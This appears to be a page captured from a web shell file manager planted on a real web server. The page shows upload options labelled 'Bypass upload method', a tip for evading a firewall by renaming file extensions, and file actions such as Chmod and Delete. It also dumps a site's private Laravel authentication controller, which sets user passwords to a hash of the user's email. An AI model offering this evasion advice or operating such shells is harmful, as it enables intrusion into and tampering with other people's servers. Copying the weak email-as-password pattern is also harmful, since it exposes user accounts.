Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
ucsj-gantt-view.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
AuthController.php
<?php namespace App\Http\Controllers; use App\Models\User; use PodioClient ; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Log; class AuthController extends Controller { public function authentication(Request $request) { try { $code = $request->code; $podio = new PodioClient(config('podio.client_id'), config('podio.client_secret')); $podio->authenticate_with_authorization_code($code, config('podio.redirect_function_uri')); if ($podio->is_authenticated()) { $podio->get('/space/'. config('podio.podio_workspace'))->json_body(); //checking user access $userProfile = $podio->get('/user/status/')->json_body(); $token = $podio->oauth; $user = User::updateOrCreate(['user_id' => $userProfile['profile']['user_id']]); $user->name = $userProfile['profile']['name'] ?? null; $user->email = $userProfile['profile']['mail'][0] ?? null; $user->password = Hash::make($userProfile['profile']['mail'][0]); $user->access_token = $token->access_token; $user->refresh_token = $token->refresh_token; $user->expires_in = $token->expires_in; $user->save(); $token = $user->createToken('frontend')->plainTextToken; return response()->json([ 'status' => true, 'Message' => 'Authentication success', 'user' => $user, 'token' => $token, ]); } } catch (Exception $e) { Log::info($e); return response()->json([ 'status' => false, 'Message' => 'Invalid authentication', ]); } } /** * @param $appId,$appToken * podio app authentication */ public function appAuth($appId, $appToken) { try { $podio = new \PodioClient( config('podio.client_id'), config('podio.client_secret'), ); $auth = $podio->authenticate_with_app($appId, $appToken); return true; } catch (Exception $e) { return $e; } } public function logout(Request $request) { try { $user = Auth::user(); $user->tokens->each(function ($token, $key) { $token->delete(); }); return response()->json([ 'status' => true, 'message' => 'Logged out successfully', ]); } catch (\Throwable $th) { return response()->json([ 'status' => false, 'message' => 'Something went wrong!', ]); } } }
Edit
Download
Unzip
Chmod
Delete